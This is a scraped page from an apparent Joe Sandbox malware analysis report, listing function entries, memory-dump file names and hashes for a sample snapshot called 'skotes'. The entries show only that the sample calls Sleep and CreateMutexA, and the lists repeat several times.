Associated: 00000007.00000002.3114422785.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114518776.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114599336.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114636370.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114756671.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114830697.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114885588.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114922101.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115161727.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115211209.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115259566.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115296613.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115339056.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115380348.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115416933.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: edcdc48281595d5afaba5e9a32752d18eaa81970c54db92540ea11eeaf2829a1
Instruction ID: 8f16ef45211041520c62bee2414307e49e43726eaaf98ae5e65c644a940df8b0
Opcode Fuzzy Hash: edcdc48281595d5afaba5e9a32752d18eaa81970c54db92540ea11eeaf2829a1
Instruction Fuzzy Hash: 9A312571B14204DBEB18DB78DC8D79DB762EB81311F208318E814972D6D7BD598887A2

Function 00759F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000007.00000002.3113014527.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113044007.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113137662.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113164919.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113191764.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113218313.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113246743.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113376009.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113407323.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113509316.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113540858.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113569057.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113596693.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113636376.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113664150.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113689780.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113719453.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113752452.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113799343.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113915149.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113953895.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114047284.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114095536.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114129322.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114164190.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114195007.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114226114.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114260671.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114293372.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114330677.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114422785.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114518776.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114599336.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114636370.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114756671.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114830697.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114885588.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114922101.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115161727.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115211209.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115259566.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115296613.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115339056.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115380348.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115416933.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: 136bcc9ed96bd0b014744c6e9763699aaf065aa0212d89af0c00780f701df927
Instruction ID: 9266a94b50eeff42412c2c42d979ce3d7e5d3e5ac6286783050a2c9dee1e5748
Opcode Fuzzy Hash: 136bcc9ed96bd0b014744c6e9763699aaf065aa0212d89af0c00780f701df927
Instruction Fuzzy Hash: 83313771B10204EBEB18DB68DC8D7ECB762EF85311F204329E854E72D1D7BE59888752

Function 0075A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000007.00000002.3113014527.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113044007.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113137662.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113164919.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113191764.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113218313.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113246743.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113376009.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113407323.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113509316.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113540858.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113569057.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113596693.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113636376.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113664150.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113689780.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113719453.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113752452.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113799343.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113915149.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113953895.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114047284.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114095536.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114129322.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114164190.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114195007.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114226114.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114260671.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114293372.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114330677.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114422785.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114518776.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114599336.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114636370.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114756671.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114830697.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114885588.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114922101.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115161727.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115211209.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115259566.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115296613.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115339056.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115380348.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115416933.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: 91717397aae78c80a1db621f93c43273e7004f4c22c77f756714459885f04172
Instruction ID: d79bf0a324ee8d8e5fa95058c8a06f102a0bd88b3395f11b6fce884fccd7d312
Opcode Fuzzy Hash: 91717397aae78c80a1db621f93c43273e7004f4c22c77f756714459885f04172
Instruction Fuzzy Hash: B4314A71B20244ABEB18DB78CC8DBDDB772EF85311F204329E814972D1D7BD59888756

Function 0075A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000007.00000002.3113014527.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113044007.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113137662.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113164919.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113191764.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113218313.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113246743.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113376009.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113407323.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113509316.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113540858.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113569057.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113596693.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113636376.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113664150.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113689780.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113719453.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113752452.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113799343.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113915149.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113953895.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114047284.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114095536.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114129322.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114164190.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114195007.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114226114.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114260671.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114293372.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114330677.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114422785.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114518776.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114599336.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114636370.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114756671.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114830697.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114885588.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114922101.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115161727.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115211209.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115259566.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115296613.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115339056.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115380348.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115416933.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: 5ae551d52969f9760ed248a945f549cf17d0c82aa4211c8e41b02816b87b3d84
Instruction ID: 100441c68a098e41162b0a267958f400ff18b7e1ee0a643c11f5f209554d3fc5
Opcode Fuzzy Hash: 5ae551d52969f9760ed248a945f549cf17d0c82aa4211c8e41b02816b87b3d84
Instruction Fuzzy Hash: B5313971B10244ABEB18DBA8DC8DB9DB772AFC6311F204329E814972D1D7BD59888752

Function 0075A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000007.00000002.3113014527.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113044007.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113137662.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113164919.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113191764.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113218313.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113246743.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113376009.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113407323.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113509316.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113540858.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113569057.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113596693.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113636376.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113664150.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113689780.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113719453.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113752452.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113799343.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113915149.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113953895.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114047284.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114095536.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114129322.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114164190.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114195007.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114226114.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114260671.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114293372.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114330677.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114422785.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114518776.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114599336.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114636370.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114756671.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114830697.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114885588.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114922101.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114973484.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115161727.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115211209.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115259566.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115296613.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115339056.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115380348.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3115416933.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: bd4b9d7c1621b508f1357445ac39e922ef4e91a03d17021c4ddec74ec9e292c7
Instruction ID: 11dad8a7ee3ac0a9613924654c44bbab7a343e9540f2f99690313d740f98b9be
Opcode Fuzzy Hash: bd4b9d7c1621b508f1357445ac39e922ef4e91a03d17021c4ddec74ec9e292c7
Instruction Fuzzy Hash: EA314971B10144ABDB18EBBCD88DBADB722EF81311F204328E854972C5DBBD59888766

Function 0075A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000007.00000002.3113014527.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113044007.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113137662.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113164919.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113191764.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113218313.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113246743.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113376009.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113407323.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113438520.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113509316.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113540858.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113569057.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113596693.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113636376.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113664150.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113689780.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113719453.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113752452.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113799343.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113915149.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3113953895.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3114047284.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
